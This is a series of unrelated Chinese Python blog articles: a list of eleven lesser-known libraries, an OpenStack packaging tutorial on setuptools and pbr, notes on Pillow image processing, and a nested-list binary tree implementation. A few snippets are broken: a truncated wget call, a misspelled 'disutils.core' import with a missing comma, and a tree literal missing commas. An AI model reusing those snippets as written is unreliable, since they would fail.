本文作者系OneAPM 工程师曾灵敏 ，想阅读更多好的技术文章，请访问 OneAPM 官方技术博客。


 11个你可能不知道的Python库 

作者：不写代码的码农
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1) delorean


非常酷的日期/时间库


from delorean import Delorean
EST = "US/Eastern"
d = Delorean(timezone=EST)
2) prettytable



2) prettytable


可以在浏览器或终端构建很不错的输出


from prettytable import PrettyTable
table = PrettyTable(["animal", "ferocity"])
table.add_row(["wolverine", 100])
table.add_row(["grizzly", 87])
table.add_row(["Rabbit of Caerbannog", 110])
table.add_row(["cat", -1])
table.add_row(["platypus", 23])
table.add_row(["dolphin", 63])
table.add_row(["albatross", 44])
table.sort_key("ferocity")
table.reversesort = True
+----------------------+----------+
|        animal        | ferocity |
+----------------------+----------+
| Rabbit of Caerbannog |   110    |
|      wolverine       |   100    |
|       grizzly        |    87    |
|       dolphin        |    63    |
|      albatross       |    44    |
|       platypus       |    23    |
|         cat          |    -1    |
+----------------------+----------+



3) snowballstemmer


非常瘦小的语言转换库，支持15种语言


from snowballstemmer import EnglishStemmer, SpanishStemmer
EnglishStemmer().stemWord("Gregory")
# Gregori
SpanishStemmer().stemWord("amarillo")
# amarill



4) wget


Python的网络爬虫库


import wget
wget.download(" 
# 100% [............................................................................] 280385 / 280385



5) PyMC


PyMC，一个用于贝叶斯分析的函数库


from pymc.examples import disaster_model
from pymc import MCMC
M = MCMC(disaster_model)
M.sample(iter=10000, burn=1000, thin=10)
[-----------------100%-----------------] 10000 of 10000 complete in 1.4 sec



6) sh


将shell命令作为函数导入Python脚本


from sh import find
find("/tmp")
/tmp/foo
/tmp/foo/file1.json
/tmp/foo/file2.json
/tmp/foo/file3.json
/tmp/foo/bar/file3.json



7) fuzzywuzzy


用于字符串匹配率、令牌匹配等


from fuzzywuzzy import fuzz
fuzz.ratio("Hit me with your best shot", "Hit me with your pet shark")
# 85



8) progressbar


如其名，一个滚动条函数库


from progressbar import ProgressBar
import time
pbar = ProgressBar(maxval=10)
for i in range(1, 11):
    pbar.update(i)
    time.sleep(1)
 pbar.finish()
# 60% |########################################################                                      |



9) colorama


一个色彩库，可以为文本添加丰富的色彩



10) uuid


一个可以产生唯一uuid的库


import uuid
print uuid.uuid4()
# e7bafa3d-274e-4b0a-b9cc-d898957b4b61



11) bashplotlib


Python的绘图控件，可以绘制直方图、散点图等


$ pip install bashplotlib
$ scatter --file data/texas.txt --pch x






首发：http://blog.92fenxiang.com/articles/1421855937
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为什么写这个系列

OpenStack是目前我所知的最大最复杂的基于Python项目。整个OpenStack项目包含了数十个主要的子项目，每个子项目所用到的库也不尽相同。因此，对于Python初学者和未接触过OpenStack项目的人来说，入门的难度相当大。

幸运的是，OpenStack中的项目有很多共同点。比如，它们有相同的代码库结构，都尽可能是用同样的库，配置文件和单元测试的规范也都几乎一样。因此，通过学习这些共通的部分，我们就可以快速掌握多个OpenStack项目。但是，万事开头难，学习这些基础知识总是痛苦的。不过，学习的难点并不在于这些知识点本身有多难理解，而是这些基础知识的应用场景和应用效果对初学者来说都是模糊的。这个系列文章的目的就是帮助有需要的人了解OpenStack中一些常见的知识点。理解过程就是通过动手做一个web application demo来实现的。

这个系列文章会涉及到以下的知识点：


	包管理和pbr


	WSGI, RESTful Service和Pecan框架


	eventlet


	SQLAlchymy


	单元测试




下面的知识点是不会专门讲的，如果有遇到不会的请自学：

	git




软件包管理

软件包管理是每个OpenStack项目的基础，其目的是用来将项目代码打包成源码包或者二进制包进行分发。一个项目的代码可能会被打包放到PyPI上，这样你可以通过pip命令安装这个包；也可能会被打包放到项目的软件仓库里，这样你可以通过apt-get install或者yum install来安装这个软件包。

不幸的是，Python在软件包管理十分混乱，至少历史上十分混乱。原因有两个：一是标准库提供的软件包管理功能十分弱，二是官方没有提供统一的软件包管理标准。对于这个领域，我曾经也是混乱的，只知道使用easy_install和pip来安装软件包。不过自从看了The Hacker's Guide to Python（《Python高手之路》）之后，算是知道点来龙去脉。

软件打包工具的历史

这里我会讲一下我知道的Python的软件打包工具的历史，我们按照历史顺序来叙述。

distutils (before 2000)

disutils自从1998年起就是Python标准库的一部分了，不过它在2000年就停止了开发。disutils是最早的Python打包工具和标准，也奠定了对Python软件进行打包的一个基本工作方式：使用setup.py文件。来看一个setup.py文件的例子：

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from disutils.core import setup

setup(name='webdemo',
      description='A simple web demo.',
      author='author name',
      author_email='author_name@example.com'
      url='http://example.com',
      packages=['webdemo'])

setup.py文件是放在项目根目录下的：

➜ ~/programming/python/webdemo git:(master) ✗ $ ls
LICENSE  README.md  setup.py  webdemo 

然后你就可以使用命令python setup.py build来编译包，可以使用python setup.py install来安装这个项目。如果需要帮助，可以通过python setup.py --help-commands来查看支持的命令。

setuptools

disutils停止开发后，setuptools成了继任者。setuptools提供了很多高级功能，包括自动依赖处理、Egg分发格式以及easy_install命令。setuptools的使用方式和disutils差不多，也是以一个setup函数作为入口，只不过该函数来自于setuptools模块，而且支持更多的参数，比如classifiers, setup_requires等，参数更多意味着功能更多。

后来有一段时间setuptools项目发展开始变得缓慢了，就有人从setuptools项目创建了distribute项目。distribute开始支持Python 3等新特性。不过一段时间后，distribute项目又和setuptools项目合并了（2013年3月）。因此，现在已经不存在distribute项目了。

到目前为止，setuptools还是使用最多的打包工具，而且开发很活跃，2015年6月刚刚发布了18.0版本。setuptools项目的文档在：http://pythonhosted.org/setuptools/。OpenStack目前也是使用setuptools库来执行打包操作，我们下面会详细点介绍setuptools工具。

disutils2

在setuptools项目发展的过程中，有一个叫disutils2的项目也在并行开发中，其目的是全面取代Python标准库中的distutils。disutils2的最大改进是将setup函数的参数单独放到一个setup.cfg的文件中（这些成为包的元数据）。不够disutils2这个项目缺点很多，而且没有功能上还不如setuptools项目，所以在2012年的时候，这个项目被废弃了。

distlib

这个是一个新的打包工具，目标也是取代disutils。不过这个项目的开发进展也不快，到2015年才发布了0.2.0版本。目前还未能并入到Python的标准库中。不过可以保持关注。项目文档地址：https://readthedocs.org/projects/distlib/

在OpenStack中使用打包工具

前面已经提到了，OpenStack也是使用setuptools工具来进行打包，不过为了满足OpenStack项目的需求，引入了一个辅助工具pbr来配合setuptools完成打包工作。

pbr (Python Build Reasonableness)

pbr是一个setuptools的扩展工具，被开发出来的主要目的是为了方便使用setuptools，其项目文档地址也在OpenStack官网内：http://docs.openstack.org/developer/pbr/。

先说一下pbr如何使用：

import setuptools

setuptools.setup(setup_requires=['pbr'], pbr=True)

按照上面的方式就可以配置setuptools工具使用pbr来协助完成打包工作。这里的setup_requires参数意思是setup函数在执行之前需要依赖的包的列表。这里的依赖的包的功能可以理解为生成setup的实际参数。你可以看到，当使用pbr的时候，setup函数只有两个参数，然而实际上setuptools.setup函数实际上是disutils.core.setup函数，会接收任何参数，这些参数可以通过在调用时指定，也可以通过所依赖的扩展来生成（比如pbr）。

那么OpenStack社区为啥要开发pbr呢？因为setuptools库使用起来还是有点麻烦，参数太多，而且直接通过指定setup函数的参数的方法实在太不方便了。pbr就是为了方便而生的，它带了了如下的改进：


	使用setup.cfg文件来提供包的元数据。这个是从disutils2学来的。


	基于requirements.txt文件来实现自动依赖安装。requirements.txt文件中包含了一个项目所要依赖的库，这个文件的格式是和pip兼容的。


	利用Sphinx实现文档自动化。


	基于git history自动生成AUTHORS和ChangeLog文件。


	针对git自动创建文件列表。


	基于git tags的版本号管理。




pbr的版本推导

这里重点说明一下基于git tag的版本号管理这个功能。当使用pbr的时候，版本号有两种方式：postversioning和preversioning，postversioning是默认方式。要是用preversioning的方式，则需要设置setup.cfg文件中的*metadata]段的version字段的值*。无论采用哪种方式，版本号都是从git的历史推理得到的。pbr使用的版本号标准是[Linux/Python Compatible Semantic Versioning 3.0.0，简单的说就是下面这个标准：


Given a version number MAJOR.MINOR.PATCH, increment the:


	MAJOR version when you make incompatible API changes,


	MINOR version when you add functionality in a backwards-compatible manner,


	and PATCH version when you make backwards-compatible bug fixes.






pbr的版本推导按照如下的步骤进行（注意，最终版本号才是软件包的版本号）：


	如果设置version的值为一个给定的版本号，且这个版本号刚好对应一个tag，则这个值就是最终版本号（注意，这里只有签名的tag才有效）。


	如果不是上面情况，则pbr会找到最近的一个tag，然后为其MINOR值加1得到一个比它大的最小版本号（注意，这个还不是最终版本号）。


	然后pbr会从最近的一个tag开始遍历所有的git commit，并检查每个提交的commit message，在commit message中查找Sem-Ver:这样的行：





	如果Sem-Ver的值是bugfix，则会增加版本号中PATCH部分的值。


	如果Sem-Ver的值是feature或者deprecation，则会增加版本号中MINOR部分的值。


	如果Sem-Ver的值是api-break，则会增加版本号中MAJOR部分的值。


	如果Sem-Ver行不存在，则认为值是bugfix。


	如果Sem-Ver的值不在上面列出的范围内，则会给出警告。





	如果使用的是postversioning的方式，也就是setup.cfg中不指定version的值，则pbr会使用规则3推导出来的值作为目标版本号（只是目标版本号，不是最终版本号）。


	如果使用的是preversioning的方式，也就是setup.cfg中指定了version的值（而且不符合规则1），则会检查指定的version是否高于规则3推导出来的版本号，如果没有，则会抛出异常，如果有，则使用指定的版本号作为目标版本号。


	在得到目标版本号之后，开始计算开发版本号。开发版本号的形式如下：MAJOR.MINOR.PATCH.devN。这里要计算的是devN中的N。这个值等于从最近的git tag开始的提交数量。计算完开发版本号之后，就得到了最终版本号。




总的来说，从上面的规则计算出来的版本号只有两种形式，一种是发布版本号（对应到某个tag），另一种是开发版本号。注意：pbr要求tag都是要签名的，也就是打tag时要使用git tag -a -s X.Y.Z的形式。

setup.cfg和requirements.txt

setup.cfg

由于OpenStack项目都使用了setuptools和pbr来执行打包工作，因此项目的元数据都放在setup.cfg文件中。我们以keystone项目的setup.cfg文件为例来说明这个文件里一般会包含什么内容。以下是写这篇文章时最新的keystone项目的setup.cfg文件的内容（以#开头的是我加的注释）：

[metadata]  # 元数据段
name = keystone  # 软件包名称
version = 8.0.0  # 软件包版本号，还可以指定preversoining, postversioning等值，具体的作用看pbr的文档。
summary = OpenStack Identity  # 简介
description-file =  # 指定README文件
    README.rst
author = OpenStack  # 作者
author-email = openstack-dev@lists.openstack.org  # 作者邮件
home-page = http://www.openstack.org/  # 主页
classifier =  # 包的分类，下面具体说
    Environment :: OpenStack
    Intended Audience :: Information Technology
    Intended Audience :: System Administrators
    License :: OSI Approved :: Apache Software License
    Operating System :: POSIX :: Linux
    Programming Language :: Python
    Programming Language :: Python :: 2
    Programming Language :: Python :: 2.7

[files]  # 文件段
packages =  # 包名称
    keystone

[global]  # 全局段
setup-hooks =  # 指定安装hook
    pbr.hooks.setup_hook


[egg_info]  # 指定egg信息
tag_build =
tag_date = 0
tag_svn_revision = 0

[build_sphinx]  # 文档build相关信息
all_files = 1
build-dir = doc/build
source-dir = doc/source

[compile_catalog]
directory = keystone/locale
domain = keystone

[update_catalog]
domain = keystone
output_dir = keystone/locale
input_file = keystone/locale/keystone.pot

[extract_messages]
keywords = _ gettext ngettext l_ lazy_gettext
mapping_file = babel.cfg
output_file = keystone/locale/keystone.pot
copyright_holder = OpenStack Foundation
msgid_bugs_address = https://bugs.launchpad.net/keystone

# NOTE(dstanek): Uncomment the [pbr] section below and remove the ext.apidoc
# Sphinx extension when https://launchpad.net/bugs/1260495 is fixed.
[pbr]  # pbr本身的配置
warnerrors = True
autodoc_tree_index_modules = True

[entry_points]  # 指定入口点
console_scripts =  # 指定要生成的可执行文件
    keystone-all = keystone.cmd.all:main
    keystone-manage = keystone.cmd.manage:main

# 下面是其他entry_points内容，主要用于指定不同功能的扩展，和打包无关。
...

(上面有些未注释的部分我目前还不太清楚，后续补充，可以先参考PEP301)

这里说说一下classifier这个参数。这个参数是用来指定一个软件包的分类、许可证、允许运行的操作系统、允许运行的Python的版本的信息。这些信息是在一个叫trove的项目。关于Python和trove的关系，请参考http://stackoverflow.com/questions/9094220/trove-classifiers-definition。

你可以在PyPI上找到完整的classifier值列表，地址是：https://pypi.python.org/pypi?%3Aaction=list_classifiers。另外，你也可以通过setuptools的命令来获取这个列表，在项目根目录下执行：python setup.py register --list-classifiers。

requirements.txt

这个文件指定了一个项目依赖的包有哪些，并且支出了依赖的包的版本需求，可以看看keystone项目的requirements.txt：

# The order of packages is significant, because pip processes them in the order
# of appearance. Changing the order has an impact on the overall integration
# process, which may cause wedges in the gate later.

pbr<2.0,>=0.11
WebOb>=1.2.3
eventlet>=0.17.4
greenlet>=0.3.2
PasteDeploy>=1.5.0
Paste
Routes!=2.0,>=1.12.3
cryptography>=0.8.2 # Apache-2.0
six>=1.9.0
SQLAlchemy<1.1.0,>=0.9.7
sqlalchemy-migrate>=0.9.6
stevedore>=1.5.0 # Apache-2.0
passlib
python-keystoneclient>=1.6.0
keystonemiddleware>=1.5.0
oslo.concurrency>=2.1.0 # Apache-2.0
oslo.config>=1.11.0 # Apache-2.0
oslo.messaging!=1.12.0,>=1.8.0 # Apache-2.0
oslo.db>=1.10.0 # Apache-2.0
oslo.i18n>=1.5.0 # Apache-2.0
oslo.log>=1.2.0 # Apache-2.0
oslo.middleware!=2.0.0,>=1.2.0 # Apache-2.0
oslo.policy>=0.5.0 # Apache-2.0
oslo.serialization>=1.4.0 # Apache-2.0
oslo.service>=0.1.0 # Apache-2.0
oslo.utils>=1.6.0 # Apache-2.0
oauthlib>=0.6
pysaml2>=2.4.0
dogpile.cache>=0.5.3
jsonschema!=2.5.0,<3.0.0,>=2.0.0
pycadf>=0.8.0
msgpack-python>=0.4.0

软件包归档格式

Python的软件包一开始是没有官方的标准分发格式的。比如Java有jar包或者war包作为分发格式，Python则什么都没有。后来不同的工具都开始引入一些比较通用的归档格式。比如，setuptools引入了Egg格式。但是，这些都不是官方支持的，存在元数据和包结构彼此不兼容的问题。因此，为了解决这个问题，PEP 427定义了新的分发包标准，名为Wheel。目前pip和setuptools工具都支持Wheel格式。这里我们简单总结一下常用的分发格式：


	tar.gz格式：这个就是标准压缩格式，里面包含了项目元数据和代码，可以使用python setup.py sdist命令生成。


	.egg格式：这个本质上也是一个压缩文件，只是扩展名换了，里面也包含了项目元数据以及源代码。这个格式由setuptools项目引入。可以通过命令python setup.py bdist_egg命令生成。


	.whl格式：这个是Wheel包，也是一个压缩文件，只是扩展名换了，里面也包含了项目元数据和代码，还支持免安装直接运行。whl分发包内的元数据和egg包是有些不同的。这个格式是由PEP 427引入的。可以通过命令python setup.py bdist_wheel生成。




.egg-info和.dist-info目录

如果你到系统中安装Python库的路径下看看，就能看到很多名称以.egg-info或者以.dist-info结尾的目录。这些目录的内容就是这个库的元数据，是从库的分发包中拷贝出来的。其中.egg-info类型的目录来自于Egg格式的分发包，.dist-info类型的目录来自于Wheel格式的分发包。

软件包的安装

安装工具

上面已经提到了，setuptools项目提供了一个软件包安装工具*esay_install。easy_install支持从软件归档文件中或者从PyPI上安装软件包，不过这个工具并不好用，比如缺少卸载功能等，因此并不流行，现在更多的都是使用pip工具。

pip项目提供了很好的软件包安装方式，并且已经被包含到Python 3.4中，可以从PyPI、tarball或者Wheel归档中安装和卸载软件按包。关于pip常见的用法，这里就不赘述了(pip install, pip uninstall, pip search, ...)。

安装路径

软件包的安装路径依赖于操作系统、Python版本和安装方式。


	
在Debian系的系统上（比如Ubuntu）


	
使用apt-get install从系统软件源安装


	Python 2.7: /usr/lib/python2.7/dist-packages


	Python 3.4: /usr/lib/python3.4/dist-packages






	
使用pip install命令安装


	Python 2.7: /usr/local/lib/python2.7/dist-packages


	Python 3.4: /usr/local/lib/python3.4/dist-packages






	
在virtualenv中使用pip install安装


	Python 2.7: lib/python2.7/site-packages


	Python 3.4: lib/python3.4/site-packages










	
在CentOS系的系统上

	
使用yum install命令安装

	Python 2.7: /usr/lib/python2.7/site-packages












以开发模式安装

pip的安装命令可以使用-e选项，用来从本地代码目录或者版本库URL来安装一个开发版本的库。采用这种方式的时候，在安装目录下只会创建一个包含软件包信息的文件，真正的代码不会安装到系统目录下。

webdemo的打包管理

学习过包管理相关的知识后，我们就要以OpenStack的方法来创建一个我们自己的项目。这个项目的名称是webdemo，就是一个简单的web服务器。这个项目会贯穿这个系列文章。在本文中，我们首先要创建webdemo的项目框架并添加软件包管理相关的内容。

项目目录结构

➜ ~/programming/python/webdemo git:(master) ✗ $ tree .
.
├── LICENSE
├── README.md
├── requirement.txt
├── setup.cfg
├── setup.py
└── webdemo
    └── __init__.py

1 directory, 6 files

这个是一个最简单的Python项目目录：


	源代码放在子目录webdemo/下


	然后包含了软件包管理的所需的文件：setup.py, setup.cfg, requirements.txt


	LICENSE和README




软件包管理相关

首先是setup.py，就是这么简单：

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import setuptools


# In python < 2.7.4, a lazy loading of package `pbr` will break
# setuptools if some other modules registered functions in `atexit`.
# solution from: http://bugs.python.org/issue15881#msg170215
try:
        import multiprocessing  # noqa
except ImportError:
        pass


setuptools.setup(
    setup_requires=['pbr'], pbr=True)

然后是setup.cfg：

[metadata]
name = webdemo
version = 0.0.1
summary = Web Application Demo
description-file = README.md
author = author
author-email = author@example.com
classifier =
    Environment :: Web Environment
    Intended Audience :: Developers
    Intended Audience :: Education
    License :: OSI Approved :: GNU General Public License v2 (GPLv2)
    Operating System :: POSIX :: Linux
    Programming Language :: Python
    Programming Language :: Python :: 2
    Programming Language :: Python :: 2.7

[global]
setup-hooks =
    pbr.hooks.setup_hook

[files]
packages =
    webdemo

[entry_points]
console_scripts =

只包含最基本的信息。接下来是requirements.txt文件：

# The order of packages is significant, because pip processes them in the order
# of appearance. Changing the order has an impact on the overall integration
# process, which may cause wedges in the gate later.

pbr<2.0,>=0.11

目前只依赖于pbr库。源代码目录下现在只有一个空的__init__.py文件。我们已经搭建好了这个最简单的项目框架了。首先，我们要把这些代码提交到git库，然后打上tag 0.0.1：

➜ ~/programming/python/webdemo git:(master) ✗ $ git log --oneline
697427c Add packaging information
2cbbf4d Initial commit
➜ ~/programming/python/webdemo git:(master) ✗ $ git tag -a -s 0.0.1
➜ ~/programming/python/webdemo git:(master) ✗ $ git tag
0.0.1

然后就可以使用python setup.py sdist命令来生成一个0.0.1版本的源码归档了：

➜ ~/programming/python/webdemo git:(master) ✗ $ python setup.py sdist
running sdist
[pbr] Writing ChangeLog
[pbr] Generating ChangeLog
[pbr] Generating AUTHORS
running egg_info
writing pbr to webdemo.egg-info/pbr.json
writing webdemo.egg-info/PKG-INFO
writing top-level names to webdemo.egg-info/top_level.txt
writing dependency_links to webdemo.egg-info/dependency_links.txt
writing entry points to webdemo.egg-info/entry_points.txt
[pbr] Processing SOURCES.txt
[pbr] In git context, generating filelist from git
warning: no previously-included files found matching '.gitreview'
warning: no previously-included files matching '*.pyc' found anywhere in distribution
writing manifest file 'webdemo.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt

running check
warning: check: missing required meta-data: url

creating webdemo-0.0.1
creating webdemo-0.0.1/webdemo
creating webdemo-0.0.1/webdemo.egg-info
making hard links in webdemo-0.0.1...
hard linking AUTHORS -> webdemo-0.0.1
hard linking ChangeLog -> webdemo-0.0.1
hard linking LICENSE -> webdemo-0.0.1
hard linking README.md -> webdemo-0.0.1
hard linking requirement.txt -> webdemo-0.0.1
hard linking setup.cfg -> webdemo-0.0.1
hard linking setup.py -> webdemo-0.0.1
hard linking webdemo/__init__.py -> webdemo-0.0.1/webdemo
hard linking webdemo.egg-info/PKG-INFO -> webdemo-0.0.1/webdemo.egg-info
hard linking webdemo.egg-info/SOURCES.txt -> webdemo-0.0.1/webdemo.egg-info
hard linking webdemo.egg-info/dependency_links.txt -> webdemo-0.0.1/webdemo.egg-info
hard linking webdemo.egg-info/entry_points.txt -> webdemo-0.0.1/webdemo.egg-info
hard linking webdemo.egg-info/not-zip-safe -> webdemo-0.0.1/webdemo.egg-info
hard linking webdemo.egg-info/pbr.json -> webdemo-0.0.1/webdemo.egg-info
hard linking webdemo.egg-info/top_level.txt -> webdemo-0.0.1/webdemo.egg-info
copying setup.cfg -> webdemo-0.0.1
Writing webdemo-0.0.1/setup.cfg
Creating tar archive
removing 'webdemo-0.0.1' (and everything under it)
➜ ~/programming/python/webdemo git:(master) ✗ $ ls dist
webdemo-0.0.1.tar.gz
➜ ~/programming/python/webdemo git:(master) ✗ $ ls
AUTHORS  ChangeLog  dist  LICENSE  README.md  requirement.txt  setup.cfg  setup.py  webdemo  webdemo.egg-info

验证成功，在dist/目录下生成了一个0.0.1版本的源码归档，同时生成了如下的文件和目录：AUTHORS, ChangeLog, webdemo.egg-info。
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介绍

《Programming Computer Vision with Python》是一本介绍计算机视觉底层基本理论和算法的入门书，通过这本收可以学到有关对象识别、基于内容的图像搜索、光学字符识别、光流法、跟踪、三维重建、立体成像、增强现实、姿态估计、全景创建、图像分割、降噪、图像分组等技术的实现原理。
英文版PDF下载：https://it-ebooks.info/book/836/
中文版介绍：http://book.douban.com/subject/25906843/

Python图像处理

先介绍基本的图像处理，包括图像的读取、转换、缩放、导数计算、画图和保存，这些知识将为后面内容的学习打下基础。
作者选择Python编写例子，并使用一个叫PIL(Python Imaging Library)的第三方图像处理库。这里特别指出的是：PIL库开发不活跃，并且很久没更新了，所以有人基于它fork了另一个分支叫Pillow，Pillow保持与PIL相似的使用接口，解决了许多Bug，并同时兼容Python2和Python3，目前开发状态活跃。接下来的学习笔记本人都将使用Pillow来代替PIL。

安装Pillow

以Ubuntu系统为例：

#安装python开发工具及包管理工具
sudo apt-get install python-dev python-pip 

#安装一些需要支持的图像格式开发包
sudo apt-get install libjpeg-dev libpng-dev libtiff-dev 

#安装Pillow图像处理库
sudo pip install pillow  

Pillow一瞥

Pillow主要包含了对各种图像模式、图像格式、颜色、过滤器的数据结构（对象）表示，实现了对图像模式转换、格式转换、过滤器应用、常规图像处理操作、图像数据算术运算、2D画图等功能，以模块、类对外提供。
首先，先了解一下Pillow库使用的一些基本概念：

Bands（图像通道）
图像的通道即图像像素的组成部分，跟Channel应该是同一个概念。比如RGB图像有3个通道分别为红、绿、蓝。二值图像和灰度图像只有1个通道。PNG图像有4个通道分别为R、G、B和alpha。库中提供的很多图像操作都是分别作用于某个通道的数据。

Modes（图像模式）
图像模式定义了像素的类型和位深，Pillow支持以下模式：


	1 (1-bit pixels, black and white, stored with one pixel per byte)


	L (8-bit pixels, black and white)


	P (8-bit pixels, mapped to any other mode using a color palette)


	RGB (3x8-bit pixels, true color)


	RGBA (4x8-bit pixels, true color with transparency mask)


	CMYK (4x8-bit pixels, color separation)


	YCbCr (3x8-bit pixels, color video format)


	LAB (3x8-bit pixels, the Lab color space)


	HSV (3x8-bit pixels, Hue, Saturation, Value color space)


	I (32-bit signed integer pixels)


	F (32-bit floating point pixels)




模块概览
Pillow的功能划分为许多模块，我们简单过一下这些模块的功能，以便在看到作者的示例代码时，可以快速知道这些代码功能在Pillow哪些模块中提供。因为作者使用的PIL库已经过时，我们得用新的Pillow库来重写和改进代码。


	
Image模块
提供了一个叫Image的类来表示图像，以下提到的PIL图像指的就是此类的对象。Image对象可以使用Image.new、Image.fromarray、Image.frombytes、Image.frombuffer等方法来构造，也可以open一张图片来构造。Image类提供了一些对图像进行简单处理的方法（如：convert、copy、crop、filter、resize、rotate、save、show、transform等）和图像的基本属性/信息。以下代码示例打开一张图片，旋转45度后显示出来：

from PIL import Image
im = Image.open("bride.jpg")
im.rotate(45).show()



	ImageChops模块
提供了一些对图像颜色通道的算术运算，Chops为Channel Operations的缩写，这些运算通常是对两幅图像进行的，并返回一幅处理后的图像，大部分操作目前只支持8-bit通道。


	
ImageColor模块
包含一个颜色表和一个从CSS3表示的颜色到RGB颜色的转换器，主要用于方便构造Image对象，即PIL.Image.new(mode, size, color=0)的color参数支持以下形式：


	16进制的颜色表示，如#rgb, #rrggbb


	rgb函数，如rgb(255,0,0), rgb(100%, 0%, 100%)


	HSL（色相、饱和、亮度）函数，如hsl(0,100%,100%），色相取值为0到360，饱和度和亮度取值为0%到100%


	常规的HTML颜色名字，如red, Red






	ImageCms模块
提供对LittleCMS2色彩管理引擎的支持。Little CMS是最流行的开源色彩管理库之一。


	ImageDraw模块
提供简单的2D画图功能，比如画点、画线、画矩形、多边形、文本、弧形、椭圆等，支持字体设置。


	ImageEnhance模块
提供一些类用于图像增强操作，比如边缘锐化、色彩平衡、对比度和亮度调节等。


	ImageFile模块
提供图像文件的打开和保存，另外，还提供了一个Parser类，用于支持对图片边读边解码（比如图片边从网络上下载边解码的情景）。


	
ImageFilter模块
预定义了一些过滤器，可以在Image.filter(filter)中作为参数使用：


	BLUR（模糊效果）


	CONTOUR（轮廓）


	DETAIL（细节）


	EDGE_ENHANCE（边缘加强）


	EDGE_ENHANCE_MORE（边缘加强）


	EMBOSS（浮雕效果）


	FIND_EDGES（查找边缘）


	SMOOTH（使光滑）


	SMOOTH_MORE（使光滑）


	SHARPEN（锐化）






	ImageFont模块
定义了类ImageFont表示位图字体（点阵字体），字体对象可以作为参数传给ImageDraw.Draw.text(xy, text, fill=None, font=None, anchor=None)以指定的字体画文本。
PIL使用自有格式存储位图字体，从1.1.4开始，支持TrueType和OpenType字体。


	ImageGrab模块
从屏幕截图或从剪贴板获取图像，得到Image对象。目前只支持OSX（在3.0增加）和Windows。


	ImageMath模块
只提供了一个函数ImageMath.eval用于对图像表达式（image expressions）进行求值，这些表达式可以是对图像数据每个bit的位运算（&、|、^、~），也可以是内置的一些运算，比如对图像的每个像素求绝对值、转换图像模式、转float或int等。


	ImageMorph模块
提供图像形态操作。


	ImageOp模块
提供一些可直接使用的图像处理操作，如自动调节对比度、自动裁边等。


	ImagePalette模块
提供调色板类，其中的方法都被标记为experimental，文档不详。


	ImagePath模块
用于存储和操作2维向量数据。Path对象可传入ImageDraw模块的相关方法。


	ImageQt模块
支持从PIL图像对象创建PyQt4或PyQt5的QImage对象，方便被Qt使用和显示。


	ImageSequence模块
支持枚举出一个image sequence（图像系统，如fli动画文件）的所有帧。


	ImageStat模块
对图像或指定区域的每个通道进行统计，包括count、sum、min/max等。


	ImageTk模块
支持从PIL图像对象创建Tkinter（Python的GUI库）的BitmapImage和PhotoImage对象。


	ImageWin模块
支持在Windows平台上创建和显示图像，可与PythonWin和其它UI库一起使用，为这些工具库提供Windows设备上下文或windows句柄的访问。




最后给出一个简单的示例，把书的彩色封面图像转为灰度图像并显示出来：

from PIL import Image
pil_im = Image.open('cover.png').convert('L')
pil_im.show()

效果如下：



小结

下一个笔记将介绍另外几个图像处理相关的库。


 Python数据结构——树的实现

作者：wzhvictor

来源： Python数据结构——树的实现



                    
“嵌套列表”表示树

在用嵌套列表表示树时，我们使用 Python 的列表来编写这些函数。虽然把界面写成列表的一系列方法与我们已实现其他的抽象数据类型有些不同，但这样做比较有意思，因为它为我们提供一个简单、可以直接查看的递归数据结构。在列表实现树时，我们将存储根节点作为列表的第一个元素的值。列表的第二个元素的本身是一个表示左子树的列表。这个列表的第三个元素表示在右子树的另一个列表。为了说明这个存储结构，让我们来看一个例子。图 1 展示出一个简单的树以及相应的列表实现。



图 1: 简单树

myTree = ['a',   #root
      ['b',  #left subtree
       ['d' [], []],
       ['e' [], []] ],
      ['c',  #right subtree
       ['f' [], []],
       [] ]
     ]


请注意，我们可以使用索引来访问列表的子树。树的根是myTree[0]，根的左子树是myTree[1]，和右子树是myTree[2]。下面的代码说明了如何用列表创建简单树。一旦树被构建，我们可以访问根和左、右子树。嵌套列表法一个非常好的特性就是子树的结构与树相同，本身是递归的。子树具有根节点和两个表示叶节点的空列表。列表的另一个优点是它容易扩展到多叉树。在树不仅仅是一个二叉树的情况下，另一个子树只是另一个列表。

myTree = ['a', ['b', ['d',[],[]], ['e',[],[]] ], ['c', ['f',[],[]], []] ]
print(myTree)
print('left subtree = ', myTree[1])
print('root = ', myTree[0])
print('right subtree = ', myTree[2])


让我们定义一些函数，使我们很容易像使用列表一样操作树。请注意，我们不会去定义一个二叉树类。我们将编写的函数将只是操作列表使之类似于树。

def BinaryTree(r):
    return [r, [], []]


该二叉树只是构建一个根节点和两个空子节点的列表。左子树添加到树的根，我们需要插入一个新的列表到根列表的第二个位置。我们必须注意，如果列表中已经有值在第二个位置，我们需要跟踪它，将新节点插入树中作为其直接的左子节点。Listing 1 显示了插入左子节点。

Listing 1

def insertLeft(root,newBranch):
    t = root.pop(1)
    if len(t) > 1:
        root.insert(1,[newBranch,t,[]])
    else:
        root.insert(1,[newBranch, [], []])
    return root


请注意，插入一个左子节点，我们首先获取对应于当前左子节点的列表（可能是空的）。然后，我们添加新的左子节点，将原来的左子节点作为新节点的左子节点。这使我们能够将新节点插入到树中的任何位置。对于insertRight的代码类似于insertLeft，如Listing 2 中。 

Listing 2

def insertRight(root,newBranch):
    t = root.pop(2)
    if len(t) > 1:
        root.insert(2,[newBranch,[],t])
    else:
        root.insert(2,[newBranch,[],[]])
    return root


为了完善树的实现（参见Listing3），让我们写几个用于获取和设置根值的函数，以及获得左边或右边子树的函数。 

Listing 3

def getRootVal(root):
    return root[0]

def setRootVal(root,newVal):
    root[0] = newVal

def getLeftChild(root):
    return root[1]

def getRightChild(root):
    return root[2]


以下是完整的嵌套列表表示树的代码

def BinaryTree(r):
    return [r, [], []]

def insertLeft(root,newBranch):
    t = root.pop(1)
    if len(t) > 1:
        root.insert(1,[newBranch,t,[]])
    else:
        root.insert(1,[newBranch, [], []])
    return root

def insertRight(root,newBranch):
    t = root.pop(2)
    if len(t) > 1:
        root.insert(2,[newBranch,[],t])
    else:
        root.insert(2,[newBranch,[],[]])
    return root

def getRootVal(root):
    return root[0]

def setRootVal(root,newVal):
    root[0] = newVal

def getLeftChild(root):
    return root[1]

def getRightChild(root):
    return root[2]

r = BinaryTree(3)
insertLeft(r,4)
insertLeft(r,5)
insertRight(r,6)
insertRight(r,7)
l = getLeftChild(r)
print(l)

setRootVal(l,9)
print(r)
insertLeft(l,11)
